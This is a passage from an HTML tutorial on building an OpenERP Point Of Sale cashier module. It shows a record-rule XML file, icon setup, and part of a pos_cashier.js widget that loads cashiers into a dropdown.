<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model_id</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">ref</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">model_pos_cashier</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">global</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">eval</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">True</code><code class="literal1">"</code><code class="markup"> </code><code class="markup">/</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">field</code><code class="markup"> </code><code class="markup">name</code><code class="markup">=</code><code class="literal1">"</code><code class="literal1">domain_force</code><code class="literal1">"</code><code class="markup">></code>[('pos_config_id', '=', user.pos_config.id)]<code class="markup"><</code><code class="markup">/</code><code class="markup">field</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">record</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">data</code><code class="markup">></code>
<code class="markup"><</code><code class="markup">/</code><code class="markup">openerp</code><code class="markup">></code>
</code></pre>
</div>
Here, as it comes to security rules, the model will be always <b>ir.rule</b> (the rule will be recorded in the ir_rule table of OpenERP).<br /><br />
As in previous XML file we will put an identifier, then we will add some fields.<br /><br /><b><span style="color: red;">name="model_id"</span></b><br />
This is the name of the affected table (prefixed with <b>model_</b>).<br /><br /><b><span style="color: red;">name="global" eval="True"</span></b><br />
If this rule is global, it applies to everyone. If it is not global, it must then specify the user groups to which it applies.<br /><br /><b><span style="color: red;">name="domain_force"</span></b><br />
This is the rule itself, <br />
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e9937">
domain_force<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e9937" onclick="selectionCode('contenuCoded0e9937');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e9937"> [('pos_config_id', '=', user.pos_config.id)]
</code></pre>
</div>
Here, a recording can be done only if the selected Point Of Sale belongs to the user.<br />
Here is how this rule will appear in the <b>Configuration/Security/Records rules</b> menu of OpenERP<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_rule_tree.jpg"><img alt="Record rule for pos_cashier module (tree view)" class="ImgCliquable" height="182px" src="./images/pos_cashier_rule_tree.jpg" width="550px" /></a><figcaption>Record rule for pos_cashier module (tree view)</figcaption></figure>
<br />
<b>If you click on this rule, it appears in the form below.</b>
<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_cashier_rule.jpg"><img alt="Record rule for pos_cashier module (form view)" class="ImgCliquable" height="314px" src="./images/pos_cashier_rule.jpg" width="550px" /></a><figcaption>Record rule for pos_cashier module (form view)</figcaption></figure>
</div>
</div>
<h2 class="TitreSection1" id="LVII-D">
VII-D. Add an icon to the module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
For your module displays an icon in the <b>Configuration/Modules</b> menu of OpenERP, we'll just create a PNG image of 64 pixels by 64 pixels we call<b> icon.png</b>.<br />
This icon is put in the <b>img</b> subdirectory of the <b>static</b> directory of the module.<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashier/static/src/img</span> </b>
</div>
</blockquote>
At the loading of OpenERP, and at the loading of the modules, the application looks for <b>icon.png </b>file into this directory to display next to the name of the module.<br />
<br />
<figure class="TextAlign-center"><img alt="Icon is displayed near the module's name" height="161px" src="./images/module_icon.jpg" width="399px" /><figcaption>Icon is displayed near the module's name</figcaption></figure>
</div>
<h2 class="TitreSection1" id="LVII-E">
VII-E. End of the basic OpenERP module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
We finished the «basic» module for OpenERP<br /><br />
All files that we have created are added to the <b>data[] </b>array in the<b> __ openerp__.py</b> file<br /><a class="renvoiSignet" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#openerppy">See here</a>.<br /><br />
We still can not install our module, because as we stated other files in the <b>__ openerp__.py </b>file, if they are not created, OpenERP will return an error.<br /><br /><b>We'll have to wait a little…</b> <img alt="Image non disponible" class="image_verticale" height="32px" src="./images/smile-wink.png" width="32px" /></div>
</div>
<h1 class="TitreSection0" id="LVIII">
VIII. Creation of the Web module for the Point Of Sale<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
Now that we have created the module to <span class="mot_souligne">create cashiers</span> in the Point Of Sale, we will create the necessary files that will allow to <span class="mot_souligne">use the cashiers</span> in the Point Of Sale.<br />
I remind you that the Point Of Sale is not, strictly speaking, integrated into OpenERP. This is a completely different web interface.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_interface_normal.jpg"><img alt="The original POS GUI" class="ImgCliquable" height="259px" src="./images/pos_interface_normal.jpg" width="550px" /></a><figcaption>The original POS GUI</figcaption></figure>
<br />
When we are finished, you will see the cashiers list at the bottom left of the Point Of Sale, under the keypad, as shown in the image below.<br />
<br />
<figure class="TextAlign-center"><a data-rel="lightbox[article]" href="http://www.blogger.com/images/pos_interface.jpg"><img alt="The new POS GUI with cashiers dropdown list" class="ImgCliquable" height="272px" src="./images/pos_interface.jpg" width="550px" /></a><figcaption>The new POS GUI with cashiers dropdown list</figcaption></figure>
<br />
<h2 class="TitreSection1" id="LVIII-A">
VIII-A. The pos_cashier.js file<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h2>
<div class="BlocSection1">
Well, here is a little hot. I put you though all the script then I will explain to you the different functions.<br />
This file is created in the<b> js</b> directory of the module.<br />
<blockquote class="citation">
<div>
<b><span style="color: blue;">/opt/modules-openerp/pos_cashier/static/src/js</span> </b>
</div>
</blockquote>
<div class="code_et_titre">
<div class="titre_des_codes" id="IdTitreCode-d0e10084">
pos_cashier.js<br />
<div class="selectionner_code">
<span class="selectionner_code LienSelectionne" id="code-d0e10084" onclick="selectionCode('contenuCoded0e10084');">Sélectionnez</span></div>
</div>
<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e10084">
<code class="javascript_keyword1">function</code> <code class="javascript_function">openerp_pos_cashier</code>(instance<code class="javascript_operator">,</code> module)<code class="javascript_operator">{</code> <code class="javascript_comment2">//</code><code class="javascript_comment2">module</code><code class="javascript_comment2"> </code><code class="javascript_comment2">is</code><code class="javascript_comment2"> </code><code class="javascript_comment2">instance.point_of_sale</code>
<code class="javascript_keyword1">var</code> module <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>point_of_sale<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> QWeb <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>qweb<code class="javascript_operator">;</code>
_t <code class="javascript_operator">=</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code>_t<code class="javascript_operator">;</code>
globalCashier <code class="javascript_operator">=</code> <code class="javascript_literal2">null</code><code class="javascript_operator">;</code>
module<code class="javascript_operator">.</code>CashierWidget <code class="javascript_operator">=</code> module<code class="javascript_operator">.</code>PosWidget<code class="javascript_operator">.</code><code class="javascript_function">include</code>(<code class="javascript_operator">{</code>
<code class="javascript_label">template</code>: <code class="javascript_literal1">'</code><code class="javascript_literal1">PosWidget</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code>
<code class="javascript_label">init</code>: <code class="javascript_keyword1">function</code>(parent<code class="javascript_operator">,</code> options) <code class="javascript_operator">{</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>(parent)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">recuperation</code><code class="javascript_comment2"> </code><code class="javascript_comment2">de</code><code class="javascript_comment2"> </code><code class="javascript_comment2">l'ID</code><code class="javascript_comment2"> </code><code class="javascript_comment2">du</code><code class="javascript_comment2"> </code><code class="javascript_comment2">POS</code>
<code class="javascript_label">get_cur_pos_config_id</code>: <code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>pos<code class="javascript_operator">.</code><code class="javascript_function">get</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> config_id <code class="javascript_operator">=</code> <code class="javascript_literal2">null</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(config)<code class="javascript_operator">{</code>
config_id <code class="javascript_operator">=</code> config<code class="javascript_operator">.</code>id<code class="javascript_operator">;</code>
<code class="javascript_keyword1">return</code> config_id<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">return</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">fetch</code>: <code class="javascript_keyword1">function</code>(model<code class="javascript_operator">,</code> fields<code class="javascript_operator">,</code> domain<code class="javascript_operator">,</code> ctx)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">return</code> <code class="javascript_keyword1">new</code> instance<code class="javascript_operator">.</code>web<code class="javascript_operator">.</code><code class="javascript_function">Model</code>(model)<code class="javascript_operator">.</code><code class="javascript_function">query</code>(fields)<code class="javascript_operator">.</code><code class="javascript_function">filter</code>(domain)<code class="javascript_operator">.</code><code class="javascript_function">context</code>(ctx)<code class="javascript_operator">.</code><code class="javascript_function">all</code>()
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">cashier_change</code>: <code class="javascript_keyword1">function</code>(name)<code class="javascript_operator">{</code>
globalCashier <code class="javascript_operator">=</code> name<code class="javascript_operator">;</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#pay-screen-cashier-name</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(name)<code class="javascript_operator">;</code>
console<code class="javascript_operator">.</code><code class="javascript_function">log</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_change</code><code class="javascript_literal1"> </code><code class="javascript_literal1">:</code><code class="javascript_literal1"> </code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> name)<code class="javascript_operator">;</code>
<code class="javascript_keyword1">if</code>(name <code class="javascript_operator">!</code><code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">removeAttr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">get_cashiers</code>: <code class="javascript_keyword1">function</code>(config_id)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> cashier_list <code class="javascript_operator">=</code> <code class="javascript_operator">[</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> loaded <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code><code class="javascript_function">fetch</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">pos.cashier</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">cashier_name</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">,</code><code class="javascript_operator">[</code><code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">pos_config_id</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> config_id<code class="javascript_operator">]</code><code class="javascript_operator">,</code> <code class="javascript_operator">[</code><code class="javascript_literal1">'</code><code class="javascript_literal1">active</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">=</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code><code class="javascript_literal1">'</code><code class="javascript_literal1">true</code><code class="javascript_literal1">'</code><code class="javascript_operator">]</code><code class="javascript_operator">]</code>)
<code class="javascript_operator">.</code><code class="javascript_function">then</code>(<code class="javascript_keyword1">function</code>(cashiers)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashiers<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
cashier_list<code class="javascript_operator">.</code><code class="javascript_function">push</code>(cashiers<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code><code class="javascript_operator">.</code>cashier_name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_keyword1">if</code>(cashier_list<code class="javascript_operator">.</code>length <code class="javascript_operator">></code> <code class="javascript_digit">0</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">for</code>(<code class="javascript_keyword1">var</code> i <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">,</code> len <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">.</code>length<code class="javascript_operator">;</code> i <code class="javascript_operator"><</code> len<code class="javascript_operator">;</code> i<code class="javascript_operator">+</code><code class="javascript_operator">+</code>)<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> content <code class="javascript_operator">=</code> self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>()<code class="javascript_operator">;</code>
<code class="javascript_keyword1">var</code> new_option <code class="javascript_operator">=</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"><option</code><code class="javascript_literal1"> </code><code class="javascript_literal1">value="</code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">"></code><code class="javascript_literal1">'</code> <code class="javascript_operator">+</code> cashier_list<code class="javascript_operator">[</code>i<code class="javascript_operator">]</code> <code class="javascript_operator">+</code> <code class="javascript_literal1">'</code><code class="javascript_literal1"></option>\n</code><code class="javascript_literal1">'</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">html</code>(content <code class="javascript_operator">+</code> new_option)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">none</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code>selectedIndex <code class="javascript_operator">=</code> <code class="javascript_digit">0</code><code class="javascript_operator">;</code>
globalCashier <code class="javascript_operator">=</code> cashier_list<code class="javascript_operator">[</code><code class="javascript_digit">0</code><code class="javascript_operator">]</code><code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(globalCashier)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code> <code class="javascript_keyword1">else</code><code class="javascript_operator">{</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">if</code><code class="javascript_comment2"> </code><code class="javascript_comment2">there</code><code class="javascript_comment2"> </code><code class="javascript_comment2">are</code><code class="javascript_comment2"> </code><code class="javascript_comment2">no</code><code class="javascript_comment2"> </code><code class="javascript_comment2">cashier</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#AlertNoCashier</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">css</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">display</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">block</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">.gotopay-button</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">attr</code>(<code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code><code class="javascript_operator">,</code> <code class="javascript_literal1">'</code><code class="javascript_literal1">disabled</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">renderElement</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code><code class="javascript_function">_super</code>()<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code>$(<code class="javascript_literal1">'</code><code class="javascript_literal1">#cashier-select</code><code class="javascript_literal1">'</code>)<code class="javascript_operator">.</code><code class="javascript_function">change</code>(<code class="javascript_keyword1">function</code>()<code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> name <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">.</code>value<code class="javascript_operator">;</code>
self<code class="javascript_operator">.</code><code class="javascript_function">cashier_change</code>(name)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_operator">}</code><code class="javascript_operator">,</code>
<code class="javascript_label">build_widgets</code>: <code class="javascript_keyword1">function</code>() <code class="javascript_operator">{</code>
<code class="javascript_keyword1">var</code> self <code class="javascript_operator">=</code> <code class="javascript_literal2">this</code><code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Screens</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>product_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ReceiptScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>receipt_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">PaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">WelcomeScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>welcome_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ClientPaymentScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>client_payment_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleInviteScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_invite_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ScaleScreenWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>scale_screen<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">#rightpane</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Popups</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">HelpPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>help_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ProductErrorPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_product_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorSessionPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_session_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ChooseReceiptPopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>choose_receipt_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">ErrorNegativePricePopupWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code> <code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>error_negative_price_popup<code class="javascript_operator">.</code><code class="javascript_function">appendTo</code>($(<code class="javascript_literal1">'</code><code class="javascript_literal1">.point-of-sale</code><code class="javascript_literal1">'</code>))<code class="javascript_operator">;</code>
<code class="javascript_comment2">//</code><code class="javascript_comment2"> </code><code class="javascript_comment2">--------</code><code class="javascript_comment2"> </code><code class="javascript_comment2"> </code><code class="javascript_comment2">Misc</code><code class="javascript_comment2"> </code><code class="javascript_comment2">---------</code>
<code class="javascript_literal2">this</code><code class="javascript_operator">.</code>notification <code class="javascript_operator">=</code> <code class="javascript_keyword1">new</code> module<code class="javascript_operator">.</code><code class="javascript_function">SynchNotificationWidget</code>(<code class="javascript_literal2">this</code><code class="javascript_operator">,</code><code class="javascript_operator">{</code><code class="javascript_operator">}</code>)<code class="javascript_operator">;</code>
